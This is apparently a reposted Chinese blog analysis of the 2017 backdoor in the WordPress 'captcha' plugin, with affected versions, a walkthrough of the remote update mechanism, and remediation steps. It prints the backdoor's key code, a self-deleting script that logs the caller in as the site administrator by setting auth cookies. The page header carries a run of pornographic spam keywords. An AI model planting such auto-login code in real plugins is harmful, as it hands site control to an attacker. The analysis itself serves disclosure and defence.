日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Captcha插件后门分析和修复

發(fā)布時間:2023/12/31 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Captcha插件后门分析和修复 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

0×00 前言

近日看到網(wǎng)上爆出wordpress官方插件captcha出現(xiàn)后門,大驚,本人當(dāng)初千辛萬苦找驗證碼插件,在十幾個插件中選了這款,感覺還挺好用,竟然爆后門,趕緊去博客 排查,還好由于安裝比較早,并沒發(fā)現(xiàn)后門,發(fā)文紀念一下這次差點中招……
0×01 概述

據(jù)說這個后門是偶然被發(fā)現(xiàn)的,是因為含后門版本的作者對使用wordpress商標(biāo)的問題,接著wordpress把captcha下架,繼而wordfence(為wordpress提供waf的廠商)檢查發(fā)現(xiàn)插件后門。

這個后門是更新觸發(fā),從4.3.6版本開始(本人安裝的版本)就有后門,執(zhí)行插件更新就會加入后門代碼。這個后門利用userID(admin)創(chuàng)建會話,設(shè)置認證cookie,接著刪除痕跡,后門是管理員權(quán)限,但是由于執(zhí)行了unlink(__FILE__),所以只能被用一次。
0×02 影響范圍

有300000+活躍安裝



后門首次發(fā)現(xiàn)在12月4日的4.3.6版本,官方在12月20日刪除該后門,所以4日到20日更新該插件的用戶都必然被植入了后門(幸好本人不(lan)常(de)更新)。

受影響版本:4.3.6~4.4.4
0×03 后門分析

這里利用12月4日的4.3.6版本的源碼分析

https://plugins.trac.wordpress.org/changeset/1780758/captcha

Captcha.php:

首先看看cptch_wp_plugin_auto_update()函數(shù),由函數(shù)名可以看出這是自動更新功能,其中$wptuts_plugin_remote_path = ’https://simplywordpress.net/captcha/captcha_pro_update.php‘;

請求這個文件會下載zip對該插件更新,但是本人訪問已經(jīng)空白無下載(20171222)。



繼續(xù)往下到8394行:

if(isset($_GET['captcha']) and? $_GET['captcha'] == 'updateplugin')
{
add_action('init', 'cptch_wp_plugin_auto_update');
}

表示點擊更新則調(diào)用cptch_wp_plugin_auto_update()函數(shù)。

看看8390行 ?

new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);

那就進入cptch_wp_auto_update這個類看看。

cptch_wp_auto_update.php:

一堆賦值后進入 if($this->cptch_check_update())執(zhí)行更新

那就來到cptch_check_update()函數(shù)看看

關(guān)鍵代碼:

$url = $this->update_path; // Local Zip File Path
curl_setopt($ch, CURLOPT_URL, $url);
$page = curl_exec($ch);

接著解壓更新

activate_plugins($my_plugin);

更新的zip內(nèi)存在后門文件

plugin-update.php:

關(guān)鍵代碼:

@unlink(__FILE__);
require('../../../wp-blog-header.php');
require('../../../wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
wp_set_current_user ( $user->ID );
wp_set_auth_cookie? ( $user->ID );
$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );
exit();
}

Unlink(__FILE__):刪除自己

Get_userdata(1):獲取管理員信息

Wp_clear_auth_cookie():移除關(guān)聯(lián)認證的cookie

Wp_set_current_user():改變當(dāng)前用戶

Wp_set_auth_cookie():根據(jù)userID設(shè)置認證cookie

接著攻擊者就以管理員進入后臺。
0×04 修復(fù)方案

??? 1.刪除后門文件plugin-update.php。

??? 2.查看captcha.php是否有后門鏈接,有則手動刪除插件再安裝最新版本。

??? 3.更新到最新版本。

轉(zhuǎn)載于:https://www.cnblogs.com/heikeboke/p/8126560.html

總結(jié)

以上是生活随笔為你收集整理的Captcha插件后门分析和修复的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。